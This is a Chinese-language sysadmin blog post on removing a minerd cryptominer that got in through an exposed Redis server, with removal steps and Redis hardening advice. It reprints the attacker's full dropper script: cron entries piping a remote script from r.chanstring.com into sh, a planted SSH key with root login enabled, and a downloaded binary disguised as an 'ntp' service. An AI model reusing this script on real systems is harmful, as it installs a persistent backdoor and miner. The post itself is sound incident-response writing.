参考链接:http://www.cnblogs.com/zhouto/p/5680594.html
本次产生挖矿minerd***的主要原因是由于redis的漏洞造成;
redis安全:http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
在服务器中执行 top 查询,发现有minerd进程占用CPU达到90%多;
ps -aux|grep minerd #直接kill掉该进程,发现十几秒中又起来的,重复几次发现kill不掉!!
重现找原因,在计划任务“ crontab -l”发现有个网络端的执行脚本操作;
发现该进程的计划任务,同时复制该链接,可以下载该脚本,脚本内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
执行crontab -r 清除计划任务,并重启crond服务; #此时发现还是没有用,该进程在kill掉,依然自动重启消耗CPU;继续查找原因
开始从脚本下手:
1、chmod -x minerd #先将该命令的执行权限去掉,先不要不要删除,否则还会自动生成;
2、kill 掉minerd的进程;
3、删除KHK75NEOiq33 和minerd文件在同一目录下
4、删除 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 脚本文件;
5、去sshd的主配置文件中将脚本中追加的内容删除:
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
删除后,重启sshd服务;
6、删除 ~/.ssh/KHK75NEOiq ;
7、后来在/etc/init.d/ 发现可以服务ntp ,该***程序注册了一个“ntp”的服务,而且还是开机启动,这里的ntp并非时间服务器的启动脚本;
/etc/init.d/ntp stop #停掉服务,设置不要开机自启;
chkconfig ntp off #删除开机自启;
完成之后删除ntp 文件;
8、删除 minerd文件
此时在观察,挖矿minerd已经不再重启了,CPU使用了恢复正常!
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,***利用了redis的一个漏洞获得了服务器的访问权限,
参见连接:http://blog.jobbole.com/94518/
然后就注入了病毒;
下面是解决办法和清除工作
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给***者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2. 打开 ~/.ssh/authorized_keys, 有的是known_hosts文件, 删除你不认识的账号
3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.
这里仔细分析这个脚本就可以解决这个挖矿minerd漏洞,主要在根本上解决,做好redis的安全工作!